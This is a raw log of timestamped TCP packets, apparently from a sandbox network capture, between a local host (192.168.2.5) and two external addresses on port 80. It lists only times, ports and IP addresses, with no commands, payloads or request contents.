Dec 16, 2024 09:01:16.608068943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.608088970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.608973980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.609026909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.609076023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.609127998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.609935045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.609988928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.610080957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.610131979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.610955000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.611022949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.611078978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.611129045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.611968040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.612020016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.612068892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.612114906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.612984896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.613034010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.613106012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.613154888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.613948107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.613998890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.614099026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.614151001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.614957094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.615008116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.615092993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.615140915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.615936041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.615988016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.616003990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.616051912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.616944075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.616992950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.617147923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.617199898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.617929935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.617980957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.618019104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.618067026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.619008064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.619050026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.619069099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.619091034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.619894981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.619942904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.619997978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.620055914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.620935917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.620999098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.621073008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.621123075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.621890068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.621941090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.622014046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.622066021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.622903109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.622955084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.622998953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.623048067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.623898029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.623950005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.623996973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.624046087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.624903917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.624954939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.625052929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.625102043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.625921011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.625971079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.626008987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.626056910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.626832962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.626880884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:19.028482914 CET	49816	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:19.028862953 CET	49843	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:19.148653030 CET	80	49843	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:19.148704052 CET	80	49816	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:19.148844004 CET	49843	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:19.148844004 CET	49816	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:19.149110079 CET	49843	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:19.268798113 CET	80	49843	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:20.483561993 CET	80	49843	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:20.483762980 CET	49843	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:20.496510983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:20.496963978 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:20.806435108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:20.833146095 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:20.833350897 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:20.833441019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:20.833511114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:20.837588072 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:20.928142071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:20.957237959 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.575834036 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.575864077 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.575877905 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.575895071 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.575951099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.576014042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.576122046 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576153040 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576200008 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.576211929 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576229095 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576242924 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576255083 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.576257944 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576287031 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.576316118 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.576445103 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.576533079 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.696118116 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.696206093 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.696209908 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.696274042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.700412035 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.700582981 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.700604916 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.700637102 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.708796024 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.708889008 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.708965063 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.717154980 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.717288971 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.717346907 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.717508078 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.725560904 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.725625038 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.725692987 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.725744009 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.733882904 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.733939886 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.733944893 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.733985901 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.742290020 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.742373943 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.742417097 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.742480040 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.750673056 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.750821114 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.750885963 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.759073019 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.759130955 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.816128016 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.816201925 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.818221092 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.818275928 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.822398901 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.822458029 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.826607943 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.826666117 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.830842018 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.830889940 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.830939054 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.830988884 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.839220047 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.839277029 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.839435101 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.839565039 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.847616911 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.847680092 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.847735882 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.847781897 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.856043100 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.856146097 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.856240034 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.856287956 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.864442110 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.864501953 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.864552975 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.864594936 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.872885942 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.872950077 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.873013020 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.873055935 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.881268978 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.881351948 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.881421089 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.889656067 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.889787912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.889822960 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.889878035 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.898106098 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.898216963 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.898332119 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.906430960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.906527042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.906580925 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.906632900 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.936326981 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.936378956 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.936393023 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.936439991 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.938605070 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.938635111 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.938688993 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.943727016 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.943770885 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.943785906 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.943815947 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.948488951 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.948545933 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.948605061 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.948646069 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.953509092 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.953547955 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.953579903 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.953613997 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.958400965 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.958460093 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.958468914 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.958504915 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.963304043 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.963357925 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.963429928 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.963481903 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.968249083 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.968297005 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.968364954 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.968415022 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.973249912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.973309994 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.973339081 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.973408937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.978127003 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.978180885 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.980555058 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.980607033 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.980675936 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.980736017 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.985260963 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.985311985 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.985356092 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.985400915 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.990040064 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.990108013 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.990180969 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.990226984 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.994792938 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.994864941 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.994945049 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.995081902 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.999527931 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.999579906 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:22.999655008 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:22.999707937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.004317999 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.004378080 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.004435062 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.008857965 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.008914948 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.009011984 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.009061098 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.013427019 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.013485909 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.013561964 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.013607979 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.017988920 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.018059969 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.018073082 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.018120050 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.022562981 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.022625923 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.022667885 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.022720098 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.027124882 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.027179003 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.027231932 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.027271032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.031558037 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.031609058 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.031661987 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.031713009 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.036009073 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.036060095 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.036134005 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.036185026 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.040262938 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.040318966 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.040359974 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.040402889 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.056201935 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.056241989 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.056277037 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.056314945 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.057905912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.057986975 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.058021069 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.058096886 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.061280966 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.061347008 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.061394930 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.061443090 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.064538002 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.064574003 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.064595938 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.064625025 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.067815065 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.067869902 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.067950010 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.068034887 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.071019888 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.071082115 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.071151018 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.071204901 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.074177980 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.074248075 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.074294090 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.074342966 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.077296972 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.077351093 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.077404976 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.077449083 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.080395937 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.080498934 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.080508947 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.080693007 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.083355904 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.083445072 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.083467960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.083514929 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.086306095 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.086385012 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.086400032 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.086445093 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.089268923 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.089378119 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.089399099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.089428902 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.092068911 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.092149019 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.092185020 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.092230082 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.094973087 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.095031023 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.095052958 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.095083952 CET	49849	80	192.168.2.5	31.41.244.11
